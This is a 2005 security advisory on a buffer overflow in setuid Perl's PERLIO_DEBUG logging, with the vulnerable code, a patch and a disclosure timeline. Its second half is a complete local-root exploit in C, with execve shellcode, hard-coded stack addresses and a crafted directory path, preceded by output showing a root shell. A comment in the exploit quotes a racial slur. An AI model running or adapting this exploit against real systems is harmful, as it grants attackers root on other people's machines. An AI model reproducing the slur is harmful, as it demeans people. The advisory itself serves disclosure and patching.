DMA[2005-0131b] - 'Setuid Perl PERLIO_DEBUG buffer overflow'
Vendor Patches are expected soon.
DMA[2005-0131b] - 'Setuid Perl PERLIO_DEBUG buffer overflow'
Author: Kevin Finisterre
Vendor: http://dev.perl.org/
Product: 'Perl 5.8.x - sperl'
References: (CAN-2005-0156)
http://www.digitalmunition.com/DMA[2005-0131b].txt
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0156
https://rt.perl.org/rt3/Ticket/Display.html?id=33990 (guest/guest)
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10733.html
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10734.html
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10736.html
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10737.html
Description:
Perl is a stable, cross platform programming language. It is used for mission
critical projects
in the public and private sectors and is widely used to program web
applications of all needs.
In the July 18, 2002 highlights for Perl 5.8.0 there was a 'New IO
Implementation' added called
PerlIO. The new PerlIO implementation was described as both a portable stdio
implementation
(at the source code level) and a flexible new framework for richer I/O
behaviours.
As an attacker I would definately say that PerlIO has some rich behavior. Two
vulnerabilities
were located in the PerlIO package that can allow an attacker to take root on a
machine that
makes use of setuid perl aka sperl. The first vulnerability was outlined in
DMA[2005-0131a],
details on the second vulnerability will be explained below.
Perl provides debug access to PerlIO via an environment variable known as
PERLIO_DEBUG. The perl
documentaion tells us that if PERLIO_DEBUG is set to the name of a file or
device then certain
operations of PerlIO sub-system will be logged to that file in append mode.
When the data is
logged to the file specified by PERLIO_DEBUG the path of the perl script is
also logged. If perl
is called all by itself the path should show up as "-". If however the a perl
script is run, its
full path then the entire path will be logged. The following sample run
demonstrates the logging
functionality.
kfinisterre@kfinisterre01:/tmp$ cat > test.pl
#!/usr/bin/sperl5.8.4
print "test\n";
^C
kfinisterre@kfinisterre01:/tmp$ chmod +x test.pl
kfinisterre@kfinisterre01:/tmp$ export PERLIO_DEBUG=/tmp/test
kfinisterre@kfinisterre01:/tmp$ ./test.pl
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
kfinisterre@kfinisterre01:/tmp$ cat /tmp/test
./test.pl:0 define unix 0x4013a5e0
./test.pl:0 define raw 0x4013a560
./test.pl:0 define perlio 0x4013a6e0
./test.pl:0 define stdio 0x4013a660
./test.pl:0 define crlf 0x4013a7e0
./test.pl:0 define mmap 0x4013a860
./test.pl:0 define utf8 0x4013a460
./test.pl:0 define pop 0x4013a3e0
./test.pl:0 define bytes 0x4013a4e0
./test.pl:0 unix => 0x4013a5e0
./test.pl:0 Pushing perlio
./test.pl:0 perlio => 0x4013a6e0
./test.pl:0 Layer 1 is perlio
./test.pl:0 openn(perlio,'(null)','Ir',0,0,0,(nil),0,(nil))
...
The function responsible for logging the PerlIO data contains an unbounded call
to sprintf()
as you can see below.
in perlio.c:
if (dbg > 0) {
dTHX;
#ifdef USE_ITHREADS
/* Use fixed buffer as sv_catpvf etc. needs SVs */
char buffer[1024];
char *s;
STRLEN len;
s = CopFILE(PL_curcop);
if (!s)
s = "(none)";
sprintf(buffer, "%s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
We can trigger this vulnerability by placing a perl script in a very long
directory tree and
simply executing it after we have defined PERLIO_DEBUG. ex_perl2.c simulates
this behavior.
kfinisterre@kfinisterre01:~$ cc -o ex_perl2 ex_perl2.c -std=c99
ex_perl2.c: In function `main':
ex_perl2.c:67: warning: implicit declaration of function `putenv'
kfinisterre@kfinisterre01:~$ ltrace -f ./ex_perl2
__libc_start_main(0x8048654, 1, 0xbffff944, 0x8048860, 0x80488c0 <unfinished
...>
chdir("/tmp/")
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777)
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777)
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777)
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
memset(0xbfffd0c0, 'B', 201)
strcat("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., "/")
mkdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., 0777)
chdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"...)
printf("Dirlen: %d\n", 974Dirlen: 974)
fopen("take_me.pl", "w+")
fwrite("#!/usr/bin/sperl5.8.4\n# \n# Be pr"..., 186, 1, 0x8049d70)
fclose(0x8049d70)
getcwd(0xbfffd1c0, 10000)
strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "/")
strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "take_me.pl")
printf("running: %s\n", "/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
chmod("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0755)
putenv(0x8048bca, 493, 1, 0x8049d70, 0x752f2123)
system("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"... <unfinished ...>
...
Perl_croak(0x8057b68, 0x8056480, 0, 0, 1 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
This vulnerability could be exploited to gain root privileges on the machine in
question.
kfinisterre@kfinisterre01:~$ ./ex_perl2a
Dirlen: 1048
Charlie Murphy!!!@#@
sh-2.05b# id
uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
The following patch for this bug was provided by Mandrake care of the
vendor-sec list. This patch
also fixes the bug that is described in DMA[2005-0131a].
Index: perlio.c
===================================================================
--- perlio.c (revision 4342)
+++ perlio.c (revision 4346)
@@ -454,7 +454,7 @@
va_list ap;
dSYS;
va_start(ap, fmt);
- if (!dbg) {
+ if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {
char *s = PerlEnv_getenv("PERLIO_DEBUG");
if (s && *s)
dbg = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
@@ -471,7 +471,7 @@
s = CopFILE(PL_curcop);
if (!s)
s = "(none)";
- sprintf(buffer, "%s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
+ sprintf(buffer, "%.40s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
len = strlen(buffer);
vsprintf(buffer+len, fmt, ap);
PerlLIO_write(dbg, buffer, strlen(buffer));
This bug has been successfully exploited on:
Debian 3.1
Ubuntu 4.10
Redhat 8.0
This is timeline associated with this bug.
01/30/2005 09:29 AM - Mail to larry wall, perlbug, vendor-sec et all
01/31/2005 04:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl
01/31/2005 08:31 AM - perl #33990] [RESOLVED]
01/31/2005 11:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs
02/02/2005 05:20 PM - Alternate patch provided nick@xxxxxxxx
-KF
/*
* Copyright Kevin Finisterre
*
* Setuid perl PerlIO_Debug() overflow
*
* Tested on Debian 3.1 perl-suid 5.8.4-5
*
* (11:07:20) *corezion:* who is tha man with tha masta plan?
* (11:07:36) *corezion:* a nigga with a buffer overrun
* (11:07:39) *corezion:* heh
* (of course that is to the tune of
http://www.azlyrics.com/lyrics/drdre/niggawittagun.html)
*
* cc -o ex_perl2 ex_perl2.c -std=c99
*
* kfinisterre@jdam:~$ ./ex_perl2
* Dirlen: 1052
* Charlie Murphy!!!@#@
* sh-2.05b# id
* uid=1000(kfinisterre) gid=1000(kfinisterre) euid=0(root)
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(int *argc, char **argv)
{
int len = 23;
int count = 5;
char malpath[10000];
char tmp[256];
char *filler;
char *ptr;
unsigned char code[] =
/*
0xff-less execve() /bin/sh by anathema <anathema@xxxxxxxxxx>
Linux/IA32 0xff-less execve() shellcode.
*/
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// setuid(0) - fix for redhat based machines
"\x31\xdb" // xorl %ebx,%ebx
"\x8d\x43\x17" // leal 0x17(%ebx),%eax
"\xcd\x80" // int $0x80
"\x89\xe6" /* movl %esp, %esi */
"\x83\xc6\x30" /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
"\x40" /* incl %eax */
"\x89\x06" /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
"\x40" /* incl %eax */
"\x89\x46\x04" /* movl %eax, 0x04(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */;
chdir("/tmp/");
// do one less char than usual for RedHat
filler =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
for (int x=0; x<4; x=x+1)
{
mkdir(filler, 0777);
chdir(filler);
// do one less char than usual for RedHat
count = count + 255;
}
memset(tmp,0x41,len);
count = count + len;
ptr = tmp+len;
ptr = putLong (ptr, 0xbffffb6a); // frame 11 ebp
ptr = putLong (ptr, 0xbffffb6a);
ptr = putLong (ptr, 0xbffffb6a);
strcat(tmp, "/");
mkdir(tmp, 0777);
chdir(tmp);
printf ("Dirlen: %d\n", count);
FILE *perlsploit;
char perldummyfile[] = {
"#!/usr/bin/sperl5.8.4\n"
"# \n"
"# Be proud that perl(1) may proclaim: \n"
"# Setuid Perl scripts are safer than C programs ...\n"
"# Do not abandon (deprecate) suidperl. Do not advocate C
wrappers. \n"
};
if(!(perlsploit = fopen("take_me.pl","w+"))) {
printf("error opening file\n");
exit(1);
}
fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
fclose(perlsploit);
getcwd(malpath, 10000);
strcat(malpath, "/");
strcat(malpath, "take_me.pl");
printf("Charlie Murphy!!!@#@\n");
chmod(malpath,0755);
setenv("PERLIO_DEBUG", "/tmp/ninjitsu", 1);
setenv("PERL5LIB", code, 1);
execv(malpath,(char *) NULL);
}
/*
* put a address in mem, for little-endian
*
*/
char*
putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;
return ptr;
}